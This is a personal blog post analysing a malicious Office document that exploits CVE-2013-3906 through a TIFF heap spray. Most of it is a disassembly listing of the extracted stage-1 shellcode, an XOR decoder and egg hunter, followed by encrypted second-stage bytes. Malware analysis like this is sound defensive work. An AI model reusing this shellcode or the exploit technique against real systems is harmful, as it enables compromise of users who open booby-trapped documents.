Tuesday, August 11, 2015

Hax 4 Snacks Part 1

So a new friend of mine told me he wanted help extracting the shellcode and payloads from a doc file, I had never analyzed a doc file before so I just HAD to say yes after informing him that I hadn't done analysis of this particular attack vector before. In the end he said he would buy me a pizza if i could pull this off. It turns out, this evil thing is a copy cat of an existing piece of malware, find information here and its the evil version of that lol. so this made my analysis easier, especially since i have never analyzed office documents before in my LIFE. So far I can confirm that this uses at least some of the same exploits, and I feel safe to conject that it is just an obfuscated re-packaging of the original malware concept. This version also appears to be somewhat smaller in size as well. In part two I hope to do further analysis to find the signature of the egg, and decrypt the second stage shellcode. I will also plan on doing a more in depth closing analysis to find more information on the c&c, and maybe who the authors are for fun.

Stage 1 payload (crypter, egg hunter):

00000000  43                inc ebx
00000001  49                dec ecx
00000002  42                inc edx
00000003  46                inc esi
00000004  47                inc edi
00000005  42                inc edx
00000006  43                inc ebx
00000007  48                dec eax
00000008  4F                dec edi
00000009  48                dec eax
0000000A  4B                dec ebx
0000000B  4E                dec esi
0000000C  41                inc ecx
0000000D  43                inc ebx
0000000E  4E                dec esi
0000000F  4F                dec edi
00000010  4A                dec edx
00000011  48                dec eax
00000012  4A                dec edx
00000013  4A                dec edx
00000014  4A                dec edx
00000015  47                inc edi
00000016  4B                dec ebx
00000017  47                inc edi
00000018  47                inc edi
00000019  42                inc edx
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  43                inc ebx
0000001D  43                inc ebx
0000001E  47                inc edi
0000001F  4A                dec edx
00000020  43                inc ebx
00000021  47                inc edi
00000022  4A                dec edx
00000023  48                dec eax
00000024  48                dec eax
00000025  4F                dec edi
00000026  49                dec ecx
00000027  43                inc ebx
00000028  42                inc edx
00000029  42                inc edx
0000002A  47                inc edi
0000002B  4E                dec esi
0000002C  48                dec eax
0000002D  42                inc edx
0000002E  D9EE              fldz
00000030  6681EF4BA9        sub di,0xa94b
00000035  6681CF72CB        or di,0xcb72
0000003A  81EED99C5940      sub esi,0x40599cd9
00000040  9BD97424F4        fstenv [esp-0xc]
00000045  6681EEA84B        sub si,0x4ba8
0000004A  83E766            and edi,byte +0x66
0000004D  66BFD341          mov di,0x41d3
00000051  8B0C24            mov ecx,[esp]
00000054  6681F729BE        xor di,0xbe29
00000059  6681F669C2        xor si,0xc269
0000005E  83ECFF            sub esp,byte -0x1
00000061  4E                dec esi
00000062  83C402            add esp,byte +0x2
00000065  6601FE            add si,di
00000068  44                inc esp
00000069  81C611B15949      add esi,0x4959b111
0000006F  6681EEA84B        sub si,0x4ba8
00000074  81C1C2000000      add ecx,0xc2
0000007A  6681EE5A44        sub si,0x445a
0000007F  31C0              xor eax,eax
00000081  8D742420          lea esi,[esp+0x20]
00000085  058AFEFFFF        add eax,0xfffffe8a
0000008A  BFAEAF3A6C        mov edi,0x6c3aafae
0000008F  F7D8              neg eax
00000091  29FE              sub esi,edi
00000093  29D2              sub edx,edx
00000095  6689FF            mov di,di
00000098  30FF              xor bh,bh
0000009A  80CF5E            or bh,0x5e
0000009D  6601F7            add di,si
000000A0  81EED99C5940      sub esi,0x40599cd9
000000A6  8A19              mov bl,[ecx]
000000A8  C1E6A2            shl esi,byte 0xa2
000000AB  C1EFEA            shr edi,byte 0xea
000000AE  30FB              xor bl,bh
000000B0  47                inc edi
000000B1  F6C301            test bl,0x1
000000B4  7515              jnz 0xcb
000000B6  81EF129A95A3      sub edi,0xa3959a12
000000BC  80EBFF            sub bl,0xff
000000BF  66BF7E92          mov di,0x927e
000000C3  EB12              jmp short 0xd7
000000C5  81EE9FC8896D      sub esi,0x6d89c89f
000000CB  81EF60C7B01D      sub edi,0x1db0c760
000000D1  FECB              dec bl
000000D3  66C1E773          shl di,byte 0x73
000000D7  66C1EE26          shr si,byte 0x26
000000DB  8819              mov [ecx],bl
000000DD  6689F7            mov di,si
000000E0  83EAFF            sub edx,byte -0x1
000000E3  47                inc edi
000000E4  83C101            add ecx,byte +0x1
000000E7  BE82AC2B86        mov esi,0x862bac82
000000EC  39C2              cmp edx,eax
000000EE  75B0              jnz 0xa0
000000F0  6E                outsb
000000F1  96                xchg eax,esi
000000F2  3BD4              cmp edx,esp
000000F4  2E6F              cs outsd
000000F6  D429              aam 0x29
000000F8  53                push ebx
000000F9  D429              aam 0x29
000000FB  43                inc ebx
000000FC  D431              aam 0x31
000000FE  57                push edi
000000FF  D419              aam 0x19
00000101  7FD4              jg 0xd7
00000103  69396617472A      imul edi,[ecx],dword 0x2a471766
00000109  AD                lodsd
0000010A  D41A              aam 0x1a
0000010C  63D4              arpl sp,dx
0000010E  0B5A27            or ebx,[edx+0x27]
00000111  5E                pop esi
00000112  B5D4              mov ch,0xd4
00000114  2D7F5EB16E        sub eax,0x6eb15e7f
00000119  96                xchg eax,esi
0000011A  1E                push ds
0000011B  F25E              repne pop esi
0000011D  B7D4              mov bh,0xd4
0000011F  47                inc edi
00000120  7407              jz 0x129
00000122  5B                pop ebx
00000123  DEA4BA7F82A02A    fisub word [edx+edi*4+0x2aa0827f]
0000012A  B016              mov al,0x16
0000012C  D405              aam 0x5
0000012E  7B5E              jpo 0x18e   ; jmp to the middle of an instruction further down,MAYBE, it depends on whether it is ever taken
00000130  B439              mov ah,0x39
00000132  D453              aam 0x53
00000134  14D4              adc al,0xd4
00000136  05435EB45C        add eax,0x5cb45e43
0000013B  73D4              jnc 0x111
0000013D  0A0A              or cl,[edx]
0000013F  6E                outsb
00000140  8439              test [ecx],bh
00000142  DE94A0501C3557    ficom word [eax+0x57351c50]
00000149  0CD4              or al,0xd4
0000014B  1B7B57            sbb edi,[ebx+0x57]
0000014E  A08FDA9F2A        mov al,[0x2a9fda8f]
00000153  B2E7              mov dl,0xe7
00000155  1A1A              sbb bl,[edx]
00000157  3030              xor [eax],dh
00000159  D6                salc
0000015A  80F02A            xor al,0x2a
0000015D  B7F0              mov bh,0xf0
0000015F  2ABADE60FDFD      sub bh,[edx-0x2029f22]
00000165  8A8A2A870908      mov cl,[edx+0x809872a]
0000016B  0CD6              or al,0xd6
0000016D  A1DCB157E6        mov eax,[0xe657b1dc]
00000172  103E              adc [esi],bh
00000174  5B                pop ebx
00000175  5F                pop edi
00000176  E79A              out 0x9a,eax
00000178  C243DE            ret 0xde43


; PART 2, jmp to middle of instruction
00000000  872A              xchg ebp,[edx]
00000002  EF                out dx,eax
00000003  DC985B06086E      fcomp qword [eax+0x6e08065b]
00000009  96                xchg eax,esi
0000000A  E9A5E11C3E        jmp dword 0x3e1ce1b4

Start of Object Linking and Embedding Compound File:


TIFF heap spray:

CVE-2013-3906

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